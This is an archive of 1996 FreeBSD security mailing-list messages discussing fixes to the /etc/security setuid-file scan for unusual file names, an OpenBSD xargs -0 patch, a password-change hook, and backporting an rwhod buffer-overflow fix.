From owner-freebsd-security Wed Oct 30 09:13:19 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id JAA08446 for security-outgoing; Wed, 30 Oct 1996 09:13:19 -0800 (PST) Received: from battra.telebase.com (root@battra.telebase.com [192.132.57.100]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id JAA08420 for ; Wed, 30 Oct 1996 09:13:15 -0800 (PST) From: freebsd-security@wormhole.telebase.com Received: by battra.telebase.com id MAA23102; Wed, 30 Oct 1996 12:13:00 -0500 (EST) Date: Wed, 30 Oct 1996 12:13:00 -0500 (EST) Message-Id: <199610301713.MAA23102@> To: freebsd-security@freebsd.org, bmc@battra.telebase.com Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk unsubscribe freebsd-security From owner-freebsd-security Wed Oct 30 15:32:27 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id PAA09468 for security-outgoing; Wed, 30 Oct 1996 15:32:27 -0800 (PST) Received: from s5.elec.uq.edu.au (clary@s5.elec.uq.edu.au [130.102.96.5]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id PAA09461 for ; Wed, 30 Oct 1996 15:32:21 -0800 (PST) Received: (from clary@localhost) by s5.elec.uq.edu.au (8.7.6/8.7.3) id JAA21364 for freebsd-security@freebsd.org; Thu, 31 Oct 1996 09:32:18 +1000 (EST) From: Clary Harridge Message-Id: <199610302332.JAA21364@s5.elec.uq.edu.au> Subject: /etc/security To: freebsd-security@freebsd.org Date: Thu, 31 Oct 1996 09:32:18 +1000 (EST) X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk A suggestion for /etc/security The current version falls over when checking for suid / sgid files when the file names contain spaces. These file names are generated by win95 when your FreeBSD host runs as a samba server. Any such suid files just get dropped by the find but give errors. You get lots of errors like find: /u1/staff/matt/Mail/ GPutland: illegal path find: /u1/staff/matt/Mail/ Email: illegal path I would suggest REPLACING ================================================================ while test $# -ge 1; do mount=$1 shift find -X $mount -xdev -type f \ \( -perm -u+x -or -perm -g+x -or -perm -o+x \) \ \( -perm -u+s -or -perm -g+s \) | sort done | xargs -n 20 ls -lgTd > $TMP ================================================================ WITH ================================================================ find $mount -xdev -type f \ \( -perm -u+x -or -perm -g+x -or -perm -o+x \) \ \( -perm -u+s -or -perm -g+s \) -a -exec ls -lgTd {} ";" done > $TMP ================================================================ -- regards Dept. of Electrical Engineering, Clary Harridge University of Queensland, QLD, Australia, 4072 Phone: +61-7-3365-3636 Fax: +61-7-3365-4999 INTERNET: clary@elec.uq.edu.au From owner-freebsd-security Wed Oct 30 16:31:38 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id QAA12654 for security-outgoing; Wed, 30 Oct 1996 16:31:38 -0800 (PST) Received: from postoffice.cso.uiuc.edu (postoffice.cso.uiuc.edu [128.174.5.11]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id QAA12644 for ; Wed, 30 Oct 1996 16:31:19 -0800 (PST) Received: from alecto.physics.uiuc.edu (alecto.physics.uiuc.edu [128.174.83.167]) by postoffice.cso.uiuc.edu (8.6.12/8.6.12) with ESMTP id TAA135468; Wed, 30 Oct 1996 19:31:14 -0500 Received: by alecto.physics.uiuc.edu (940816.SGI.8.6.9/940406.SGI) id SAA18957; Wed, 30 Oct 1996 18:31:05 -0600 From: igor@alecto.physics.uiuc.edu (Igor Roshchin) Message-Id: <199610310031.SAA18957@alecto.physics.uiuc.edu> Subject: Re: /etc/security To: clary@elec.uq.edu.au (Clary Harridge) Date: Wed, 30 Oct 1996 18:31:05 -0600 (CST) Cc: freebsd-security@freebsd.org In-Reply-To: <199610302332.JAA21364@s5.elec.uq.edu.au> from "Clary Harridge" at Oct 31, 96 09:32:18 am X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I think, this is a nice feature (unless, of coarse, you have to be dealing with Windows.) It's nice to have an alert, that somebody created a file with the name which is most probably should not exist on a Unix box. Thus, this suggestion should not be implemented, but should really be an option to choose, if one needs. Using this opportunity want to mention a small bug related to /etc/daily. I noticed this an year ago. Once an year you will not receive you daily report. Because the default time is 2:00, /etc/daily never runs on the day when we have a change of date in spring, or runs twice in autumn. (or something like that, I forgot the details) Thus, I think it would be wise to change it to 0:45, for example. Regards, IgoR aka StR * * * * * * * * * * Igor Roshchin Physics Department e-mail: igor@uiuc.edu University of Illinois FAX : (217) 333-9819 at Urbana-Champaign Phone : (217) 333-6088 (off) 1110 West Green Street Phone : (217) 328-2013 (home) Urbana, IL, 61801, USA http://www.physics.uiuc.edu/~igor * * * * * * * * * * > > A suggestion for /etc/security > > The current version falls over when checking for suid / sgid files > when the file names contain spaces. These file names are generated > by win95 when your FreeBSD host runs as a samba server. > Any such suid files just get dropped by the find but give errors. > > You get lots of errors like > > find: /u1/staff/matt/Mail/ GPutland: illegal path > find: /u1/staff/matt/Mail/ Email: illegal path > > I would suggest > REPLACING > ================================================================ > while test $# -ge 1; do > mount=$1 > shift > find -X $mount -xdev -type f \ > \( -perm -u+x -or -perm -g+x -or -perm -o+x \) \ > \( -perm -u+s -or -perm -g+s \) | sort > done | xargs -n 20 ls -lgTd > $TMP > ================================================================ > WITH > ================================================================ > find $mount -xdev -type f \ > \( -perm -u+x -or -perm -g+x -or -perm -o+x \) \ > \( -perm -u+s -or -perm -g+s \) -a -exec ls -lgTd {} ";" > done > $TMP > ================================================================ > > -- > regards Dept. of Electrical Engineering, > Clary Harridge University of Queensland, QLD, Australia, 4072 > Phone: +61-7-3365-3636 Fax: +61-7-3365-4999 > INTERNET: clary@elec.uq.edu.au > From owner-freebsd-security Wed Oct 30 16:49:02 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id QAA13692 for security-outgoing; Wed, 30 Oct 1996 16:49:02 -0800 (PST) Received: from s5.elec.uq.edu.au (clary@s5.elec.uq.edu.au [130.102.96.5]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id QAA13687 for ; Wed, 30 Oct 1996 16:48:59 -0800 (PST) Received: (from clary@localhost) by s5.elec.uq.edu.au (8.7.6/8.7.3) id KAA23155; Thu, 31 Oct 1996 10:48:42 +1000 (EST) From: Clary Harridge Message-Id: <199610310048.KAA23155@s5.elec.uq.edu.au> Subject: Re: /etc/security In-Reply-To: <199610310031.SAA18957@alecto.physics.uiuc.edu> from Igor Roshchin at "Oct 30, 96 06:31:05 pm" To: igor@alecto.physics.uiuc.edu (Igor Roshchin) Date: Thu, 31 Oct 1996 10:48:42 +1000 (EST) Cc: freebsd-security@freebsd.org X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > I think, this is a nice feature > (unless, of coarse, you have to be dealing with Windows.) > It's nice to have an alert, that somebody created > a file with the name which is most probably should not exist on > a Unix box. UNIX does not care if they have spaces > > > > The current version falls over when checking for suid / sgid files > > when the file names contain spaces. These file names are generated > > by win95 when your FreeBSD host runs as a samba server. > > Any such suid files just get dropped by the find but give errors. The point is that you could have suid files that are not flagged as such by this script because find drops them if you use the -X switch. -- regards Dept. of Electrical Engineering, Clary Harridge University of Queensland, QLD, Australia, 4072 Phone: +61-7-3365-3636 Fax: +61-7-3365-4999 INTERNET: clary@elec.uq.edu.au From owner-freebsd-security Wed Oct 30 23:19:21 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA05468 for security-outgoing; Wed, 30 Oct 1996 23:19:21 -0800 (PST) Received: from verdi.nethelp.no (verdi.nethelp.no [193.91.212.2]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id XAA05463 for ; Wed, 30 Oct 1996 23:19:16 -0800 (PST) From: sthaug@nethelp.no Received: (qmail 1246 invoked by uid 1001); 31 Oct 1996 07:18:58 +0000 (GMT) To: freebsd-security@freebsd.org Subject: Re: /etc/security In-Reply-To: Your message of "Thu, 31 Oct 1996 10:48:42 +1000 (EST)" References: <199610310048.KAA23155@s5.elec.uq.edu.au> X-Mailer: Mew version 1.05+ on Emacs 19.28.2 Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Date: Thu, 31 Oct 1996 08:18:58 +0100 Message-ID: <1244.846746338@verdi.nethelp.no> Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > I think, this is a nice feature > > (unless, of coarse, you have to be dealing with Windows.) > > It's nice to have an alert, that somebody created > > a file with the name which is most probably should not exist on > > a Unix box. > > UNIX does not care if they have spaces Agreed, it's perfectly legal. But it would be nice to be warned about files that contain '...', or *start* with a space, or a number of other tricks used by the Warez folks to hide their stuff. > > > The current version falls over when checking for suid / sgid files > > > when the file names contain spaces. These file names are generated > > > by win95 when your FreeBSD host runs as a samba server. > > > Any such suid files just get dropped by the find but give errors. > > The point is that you could have suid files that are not flagged as > such by this script because find drops them if you use the -X switch. It also doesn't handle file names with quotes particularly well. Here I've made a copy of my DOS partition, and I get: > checking setuid files and devices: > find: /doscopy/sb16/pro_org/i'vebeen.org: illegal path > find: /doscopy/sb16/pro_org/she'llbe.org: illegal path Steinar Haug, Nethelp consulting, sthaug@nethelp.no From owner-freebsd-security Thu Oct 31 07:06:23 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id HAA13046 for security-outgoing; Thu, 31 Oct 1996 07:06:23 -0800 (PST) Received: from halloran-eldar.lcs.mit.edu (halloran-eldar.lcs.mit.edu [18.26.0.159]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id HAA13041 for ; Thu, 31 Oct 1996 07:06:16 -0800 (PST) Received: by halloran-eldar.lcs.mit.edu; (5.65v3.2/1.1.8.2/19Aug95-0530PM) id AA19105; Thu, 31 Oct 1996 10:05:55 -0500 Date: Thu, 31 Oct 1996 10:05:55 -0500 From: Garrett Wollman Message-Id: <9610311505.AA19105@halloran-eldar.lcs.mit.edu> To: sthaug@nethelp.no Cc: freebsd-security@freebsd.org Subject: Re: /etc/security In-Reply-To: <1244.846746338@verdi.nethelp.no> References: <199610310048.KAA23155@s5.elec.uq.edu.au> <1244.846746338@verdi.nethelp.no> Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk <> checking setuid files and devices: >> find: /doscopy/sb16/pro_org/i'vebeen.org: illegal path >> find: /doscopy/sb16/pro_org/she'llbe.org: illegal path The best way to deal with this is probably using the `-print0' primary to `find' and using a `perl -n0' script to process the results, like: find ..... -print0 | perl -n0e 'exec "/bin/ls", "-lFgod", <>;' -GAWollman -- Garrett A. Wollman | O Siem / We are all family / O Siem / We're all the same wollman@lcs.mit.edu | O Siem / The fires of freedom Opinions not those of| Dance in the burning flame MIT, LCS, ANA, or NSA| - Susan Aglukark and Chad Irschick From owner-freebsd-security Thu Oct 31 08:10:06 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id IAA17378 for security-outgoing; Thu, 31 Oct 1996 08:10:06 -0800 (PST) Received: from kdat.calpoly.edu (kdat.csc.calpoly.edu [129.65.54.101]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id IAA17370 for ; Thu, 31 Oct 1996 08:10:03 -0800 (PST) Received: (from nlawson@localhost) by kdat.calpoly.edu (8.6.12/N8) id IAA20880; Thu, 31 Oct 1996 08:10:03 -0800 From: Nathan Lawson Message-Id: <199610311610.IAA20880@kdat.calpoly.edu> Subject: Re: /etc/security To: wollman@lcs.mit.edu (Garrett Wollman) Date: Thu, 31 Oct 1996 08:10:02 -0800 (PST) Cc: freebsd-security@freebsd.org In-Reply-To: <9610311505.AA19105@halloran-eldar.lcs.mit.edu> from "Garrett Wollman" at Oct 31, 96 10:05:55 am X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > < > >> checking setuid files and devices: > >> find: /doscopy/sb16/pro_org/i'vebeen.org: illegal path > >> find: /doscopy/sb16/pro_org/she'llbe.org: illegal path > > The best way to deal with this is probably using the `-print0' primary > to `find' and using a `perl -n0' script to process the results, like: > > find ..... -print0 | perl -n0e 'exec "/bin/ls", "-lFgod", <>;' Yes, the -print0 option is useful, but to avoid executing another interpreter just for the task of filtering out the NULLs, I prefer to use xargs -0 >From the man page: -0 Changes xargs to expect NUL (``\0'') characters as seperators, instead of spaces and newlines. This is expected to be used in concert with the -print0 function in find. This avoids execing a costly interpreter and keeps the scripts using xargs, which is useful with very long path lists. -- Nate Lawson "There are a thousand hacking at the branches of CPE Senior evil to one who is striking at the root." CSL Admin -- Henry David Thoreau, 'Walden', 1854 From owner-freebsd-security Thu Oct 31 08:51:48 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id IAA19759 for security-outgoing; Thu, 31 Oct 1996 08:51:48 -0800 (PST) Received: from critter.tfs.com (disn5.cybercity.dk [194.16.57.5]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id IAA19751 for ; Thu, 31 Oct 1996 08:51:42 -0800 (PST) Received: from critter.tfs.com (localhost.tfs.com [127.0.0.1]) by critter.tfs.com (8.7.5/8.7.3) with ESMTP id RAA06510 for ; Thu, 31 Oct 1996 17:52:03 +0100 (MET) To: security@freebsd.org Subject: password change hook Reply-to: phk@freebsd.org Date: Thu, 31 Oct 1996 17:52:03 +0100 Message-ID: <6508.846780723@critter.tfs.com> From: Poul-Henning Kamp Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I would like to have a way to say that "whenever master.passwd changes run this program" that is general and supported. You could consider pwd_mkdb the default instance, but I would like to extract other subsets of data in a sensible fashion. Would it be gross and horrible if instead of calling pwd_mkdb we called /etc/pwd_update.sh which as default called pwd_mkdb and nothing else ? -- Poul-Henning Kamp | phk@FreeBSD.ORG FreeBSD Core-team. http://www.freebsd.org/~phk | phk@login.dknet.dk Private mailbox. whois: [PHK] | phk@ref.tfs.com TRW Financial Systems, Inc. Future will arrive by its own means, progress not so. From owner-freebsd-security Thu Oct 31 08:53:24 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id IAA19950 for security-outgoing; Thu, 31 Oct 1996 08:53:24 -0800 (PST) Received: from scanner.worldgate.com (scanner.worldgate.com [198.161.84.3]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id IAA19928 for ; Thu, 31 Oct 1996 08:53:21 -0800 (PST) Received: from znep.com (uucp@localhost) by scanner.worldgate.com (8.7.5/8.7.3) with UUCP id JAA13010; Thu, 31 Oct 1996 09:53:15 -0700 (MST) Received: from localhost (marcs@localhost) by alive.ampr.ab.ca (8.7.5/8.7.3) with SMTP id JAA13648; Thu, 31 Oct 1996 09:50:27 -0700 (MST) Date: Thu, 31 Oct 1996 09:50:27 -0700 (MST) From: Marc Slemko X-Sender: marcs@alive.ampr.ab.ca To: Nathan Lawson cc: freebsd-security@freebsd.org Subject: Re: /etc/security In-Reply-To: <199610311610.IAA20880@kdat.calpoly.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Thu, 31 Oct 1996, Nathan Lawson wrote: > > < > > > >> checking setuid files and devices: > > >> find: /doscopy/sb16/pro_org/i'vebeen.org: illegal path > > >> find: /doscopy/sb16/pro_org/she'llbe.org: illegal path > > > > The best way to deal with this is probably using the `-print0' primary > > to `find' and using a `perl -n0' script to process the results, like: > > > > find ..... -print0 | perl -n0e 'exec "/bin/ls", "-lFgod", <>;' > > Yes, the -print0 option is useful, but to avoid executing another interpreter > just for the task of filtering out the NULLs, I prefer to use xargs -0 > > >From the man page: > -0 Changes xargs to expect NUL (``\0'') characters as seperators, > instead of spaces and newlines. This is expected to be used in > concert with the -print0 function in find. > > This avoids execing a costly interpreter and keeps the scripts using xargs, > which is useful with very long path lists. Except for the minor problem that xargs does not have a -0 option on FreeBSD. GNU xargs does and OpenBSD xargs does. Below is the diff from OpenBSD to implement the change. I think it is a worthwhile change, although I haven't really looked too much at the OpenBSD way of doing it to see if it is a good implementation. Index: xargs.c =================================================================== RCS file: /cvs/src/usr.bin/xargs/xargs.c,v retrieving revision 1.1 retrieving revision 1.2 diff -c -r1.1 -r1.2 *** xargs.c 1995/10/18 08:47:00 1.1 --- xargs.c 1996/06/11 06:48:06 1.2 *************** *** 62,67 **** --- 62,68 ---- #include "pathnames.h" int tflag, rval; + int zflag; void run __P((char **)); void usage __P((void)); *************** *** 94,100 **** nargs = 5000; nline = ARG_MAX - 4 * 1024; nflag = xflag = 0; ! while ((ch = getopt(argc, argv, "n:s:tx")) != EOF) switch(ch) { case 'n': nflag = 1; --- 95,101 ---- nargs = 5000; nline = ARG_MAX - 4 * 1024; nflag = xflag = 0; ! while ((ch = getopt(argc, argv, "0n:s:tx")) != EOF) switch(ch) { case 'n': nflag = 1; *************** *** 110,115 **** --- 111,119 ---- case 'x': xflag = 1; break; + case '0': + zflag = 1; + break; case '?': default: usage(); *************** *** 183,192 **** case ' ': case '\t': /* Quotes escape tabs and spaces. */ ! if (insingle || indouble) goto addch; goto arg2; case '\n': /* Empty lines are skipped. */ if (argp == p) continue; --- 187,203 ---- case ' ': case '\t': /* Quotes escape tabs and spaces. */ ! if (insingle || indouble || zflag) goto addch; goto arg2; + case '\0': + if (zflag) + goto arg2; + goto addch; case '\n': + if (zflag) + goto addch; + /* Empty lines are skipped. */ if (argp == p) continue; *************** *** 217,232 **** argp = p; break; case '\'': ! if (indouble) goto addch; insingle = !insingle; break; case '"': ! if (insingle) goto addch; indouble = !indouble; break; case '\\': /* Backslash escapes anything, is escaped by quotes. */ if (!insingle && !indouble && (ch = getchar()) == EOF) errx(1, "backslash at EOF"); --- 228,245 ---- argp = p; break; case '\'': ! if (indouble || zflag) goto addch; insingle = !insingle; break; case '"': ! if (insingle || zflag) goto addch; indouble = !indouble; break; case '\\': + if (zflag) + goto addch; /* Backslash escapes anything, is escaped by quotes. */ if (!insingle && !indouble && (ch = getchar()) == EOF) errx(1, "backslash at EOF"); *************** *** 316,321 **** usage() { (void)fprintf(stderr, ! "usage: xargs [-t] [-n number [-x]] [-s size] [utility [argument ...]]\n"); exit(1); } --- 329,334 ---- usage() { (void)fprintf(stderr, ! "usage: xargs [-0] [-t] [-n number [-x]] [-s size] [utility [argument ...]]\n"); exit(1); } Index: xargs.1 =================================================================== RCS file: /cvs/src/usr.bin/xargs/xargs.1,v retrieving revision 1.1 retrieving revision 1.3 diff -c -r1.1 -r1.3 *** xargs.1 1995/10/18 08:47:00 1.1 --- xargs.1 1996/06/11 06:56:57 1.3 *************** *** 45,50 **** --- 45,51 ---- .Nd "construct argument list(s) and execute utility" .Sh SYNOPSIS .Nm xargs + .Op Fl 0 .Op Fl t .Oo Op Fl x .Fl n Ar number *************** *** 81,86 **** --- 82,97 ---- .Pp The options are as follows: .Bl -tag -width indent + .It Fl 0 + Changes + .Nm xargs + to expect NUL + (``\\0'') + characters as seperators, instead of spaces and newlines. + This is expected to be used in concert with the + .Fl print0 + function in + .Nm find . .It Fl n Ar number Set the maximum number of arguments taken from standard input for each invocation of the utility. From owner-freebsd-security Thu Oct 31 18:36:57 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id SAA05264 for security-outgoing; Thu, 31 Oct 1996 18:36:57 -0800 (PST) Received: from salsa.gv.ssi1.com (salsa.gv.ssi1.com [146.252.44.194]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id SAA05228; Thu, 31 Oct 1996 18:36:50 -0800 (PST) Received: (from gdonl@localhost) by salsa.gv.ssi1.com (8.7.5/8.7.3) id SAA05376; Thu, 31 Oct 1996 18:36:41 -0800 (PST) Date: Thu, 31 Oct 1996 18:36:41 -0800 (PST) From: Don Lewis Message-Id: <199611010236.SAA05376@salsa.gv.ssi1.com> To: freebsd-security@freebsd.org, freebsd-stable@freebsd.org Subject: rwhod buffer overflow bug Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk The wd_hostname buffer overflow bug in rwhod that came to light a couple months ago appears to have been fixed in -current, but the fix never seems to have been made to -stable. --- Truck From owner-freebsd-security Thu Oct 31 22:36:48 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id WAA22881 for security-outgoing; Thu, 31 Oct 1996 22:36:48 -0800 (PST) Received: from rover.village.org (rover.village.org [204.144.255.49]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id WAA22873; Thu, 31 Oct 1996 22:36:44 -0800 (PST) Received: from rover.village.org [127.0.0.1] by rover.village.org with esmtp (Exim 0.56 #1) id E0vJDCv-0002sf-00; Thu, 31 Oct 1996 23:35:57 -0700 To: Don Lewis Subject: Re: rwhod buffer overflow bug Cc: freebsd-security@freebsd.org, freebsd-stable@freebsd.org In-reply-to: Your message of "Thu, 31 Oct 1996 18:36:41 PST." <199611010236.SAA05376@salsa.gv.ssi1.com> References: <199611010236.SAA05376@salsa.gv.ssi1.com> Date: Thu, 31 Oct 1996 23:35:57 -0700 From: Warner Losh Message-Id: Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message <199611010236.SAA05376@salsa.gv.ssi1.com> Don Lewis writes: : The wd_hostname buffer overflow bug in rwhod that came to light a couple : months ago appears to have been fixed in -current, but the fix never : seems to have been made to -stable. I can do the CVS legwork if someone has a -stable system to test it on. Warner P.S. I just noticed and fixed two minor buffer related problems in rwhod.c that I happened to notice as I was looking at this code. Yow! From owner-freebsd-security Fri Nov 1 01:08:36 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id BAA09996 for security-outgoing; Fri, 1 Nov 1996 01:08:36 -0800 (PST) Received: from gw-nl1.philips.com (gw-nl1.philips.com [192.68.44.33]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id BAA09968; Fri, 1 Nov 1996 01:08:28 -0800 (PST) Received: (from nobody@localhost) by gw-nl1.philips.com (8.6.10/8.6.10-0.994n-08Nov95) id KAA19644; Fri, 1 Nov 1996 10:07:43 +0100 Received: from unknown(130.139.36.3) by gw-nl1.philips.com via smap (V1.3+ESMTP) with ESMTP id sma019531; Fri Nov 1 10:07:18 1996 Received: from spooky.lss.cp.philips.com (spooky.lss.cp.philips.com [130.144.199.105]) by smtprelay.nl.cis.philips.com (8.6.10/8.6.10-1.2.1m-961030) with ESMTP id KAA10180; Fri, 1 Nov 1996 10:07:17 +0100 Received: (from guido@localhost) by spooky.lss.cp.philips.com (8.6.10/8.6.10-0.991c-08Nov95) id KAA26376; Fri, 1 Nov 1996 10:07:16 +0100 From: Guido van Rooij Message-Id: <199611010907.KAA26376@spooky.lss.cp.philips.com> Subject: Re: rwhod buffer overflow bug To: imp@village.org (Warner Losh) Date: Fri, 1 Nov 1996 10:07:16 +0100 (MET) Cc: Don.Lewis@tsc.tdk.com, freebsd-security@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Reply-To: guido@gvr.win.tue.nl In-Reply-To: from Warner Losh at "Oct 31, 96 11:35:57 pm" X-Mailer: ELM [version 2.4ME+ PL19 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Warner Losh wrote: > In message <199611010236.SAA05376@salsa.gv.ssi1.com> Don Lewis writes: > : The wd_hostname buffer overflow bug in rwhod that came to light a couple > : months ago appears to have been fixed in -current, but the fix never > : seems to have been made to -stable. > > I can do the CVS legwork if someone has a -stable system to test it > on. > I've got a 2.1.5. Send them to me. (I don't believe rwhod was otherwise changed between 2.1.5 and -stable) > Warner > > P.S. I just noticed and fixed two minor buffer related problems in > rwhod.c that I happened to notice as I was looking at this code. Yow! > Send these as well ;-) -Guido From owner-freebsd-security Fri Nov 1 03:33:46 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id DAA20072 for security-outgoing; Fri, 1 Nov 1996 03:33:46 -0800 (PST) Received: from ocean.campus.luth.se (ocean.campus.luth.se [130.240.194.116]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id DAA20066 for ; Fri, 1 Nov 1996 03:33:40 -0800 (PST) Received: (from karpen@localhost) by ocean.campus.luth.se (8.7.5/8.7.3) id MAA08439; Fri, 1 Nov 1996 12:41:42 +0100 (MET) From: Mikael Karpberg Message-Id: <199611011141.MAA08439@ocean.campus.luth.se> Subject: Re: /etc/security To: clary@elec.uq.edu.au (Clary Harridge) Date: Fri, 1 Nov 1996 12:41:41 +0100 (MET) Cc: freebsd-security@FreeBSD.org In-Reply-To: <199610302332.JAA21364@s5.elec.uq.edu.au> from Clary Harridge at "Oct 31, 96 09:32:18 am" X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Hello! According to Clary Harridge: > A suggestion for /etc/security > > The current version falls over when checking for suid / sgid files > when the file names contain spaces. These file names are generated > by win95 when your FreeBSD host runs as a samba server. > Any such suid files just get dropped by the find but give errors. > > You get lots of errors like > > find: /u1/staff/matt/Mail/ GPutland: illegal path > find: /u1/staff/matt/Mail/ Email: illegal path Yeah, I've seen this too, because I have some filenames with spaces... ---- According to Garrett Wollman: > < >> checking setuid files and devices: > >> find: /doscopy/sb16/pro_org/i'vebeen.org: illegal path > >> find: /doscopy/sb16/pro_org/she'llbe.org: illegal path > > The best way to deal with this is probably using the `-print0' primary > to `find' and using a `perl -n0' script to process the results, like: > > find ..... -print0 | perl -n0e 'exec "/bin/ls", "-lFgod", <>;' Would this solve the spaces problem too, and any other eventualities? ---- According to Nathan Lawson: > > find ..... -print0 | perl -n0e 'exec "/bin/ls", "-lFgod", <>;' > > Yes, the -print0 option is useful, but to avoid executing another interpreter > just for the task of filtering out the NULLs, I prefer to use xargs -0 > > >From the man page: > -0 Changes xargs to expect NUL (``\0'') characters as seperators, > instead of spaces and newlines. This is expected to be used in > concert with the -print0 function in find. > > This avoids execing a costly interpreter and keeps the scripts using xargs, > which is useful with very long path lists. Sounds good... if you can avoid using perl there it's nice... ---- According to Marc Slemko: > > >From the man page: > > -0 Changes xargs to expect NUL (``\0'') characters as seperators, > > instead of spaces and newlines. This is expected to be used in > > concert with the -print0 function in find. > > > > This avoids execing a costly interpreter and keeps the scripts using xargs, > > which is useful with very long path lists. > > Except for the minor problem that xargs does not have a -0 option > on FreeBSD. GNU xargs does and OpenBSD xargs does. Below is the > diff from OpenBSD to implement the change. I think it is a worthwhile > change, although I haven't really looked too much at the OpenBSD > way of doing it to see if it is a good implementation. [...patch deleted...] Is there anything speaking against this being added? And the change in /etc/security taking place? I for one would really like to see the scan handle all legal filenames. Speaking of which... Is the /tmp cleaning job also errnous in that it will not handle all names? Any other scripts in etc which have the same error? /Mikael From owner-freebsd-security Fri Nov 1 07:37:08 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id HAA14316 for security-outgoing; Fri, 1 Nov 1996 07:37:08 -0800 (PST) Received: from scanner.worldgate.com (scanner.worldgate.com [198.161.84.3]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id HAA14309 for ; Fri, 1 Nov 1996 07:37:05 -0800 (PST) Received: from znep.com (uucp@localhost) by scanner.worldgate.com (8.7.5/8.7.3) with UUCP id IAA15573; Fri, 1 Nov 1996 08:35:48 -0700 (MST) Received: from localhost (marcs@localhost) by alive.ampr.ab.ca (8.7.5/8.7.3) with SMTP id IAA20709; Fri, 1 Nov 1996 08:35:22 -0700 (MST) Date: Fri, 1 Nov 1996 08:35:21 -0700 (MST) From: Marc Slemko X-Sender: marcs@alive.ampr.ab.ca To: Mikael Karpberg cc: freebsd-security@FreeBSD.org Subject: Re: /etc/security In-Reply-To: <199611011141.MAA08439@ocean.campus.luth.se> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk On Fri, 1 Nov 1996, Mikael Karpberg wrote: > According to Marc Slemko: > > > >From the man page: > > > -0 Changes xargs to expect NUL (``\0'') characters as seperators, > > > instead of spaces and newlines. This is expected to be used in > > > concert with the -print0 function in find. > > > > > > This avoids execing a costly interpreter and keeps the scripts using xargs, > > > which is useful with very long path lists. > > > > Except for the minor problem that xargs does not have a -0 option > > on FreeBSD. GNU xargs does and OpenBSD xargs does. Below is the > > diff from OpenBSD to implement the change. I think it is a worthwhile > > change, although I haven't really looked too much at the OpenBSD > > way of doing it to see if it is a good implementation. > [...patch deleted...] > > Is there anything speaking against this being added? > And the change in /etc/security taking place? > I for one would really like to see the scan handle all legal filenames. > Speaking of which... Is the /tmp cleaning job also errnous in that it will > not handle all names? Any other scripts in etc which have the same error? The /tmp cleaning job in /etc/daily should work fine but it is, as it says, a security risk. It should be modified to use the new (in -current) -delete option to find which avoids the race condition. From owner-freebsd-security Fri Nov 1 15:02:06 1996 Return-Path: owner-security Received: (from root@localhost) by 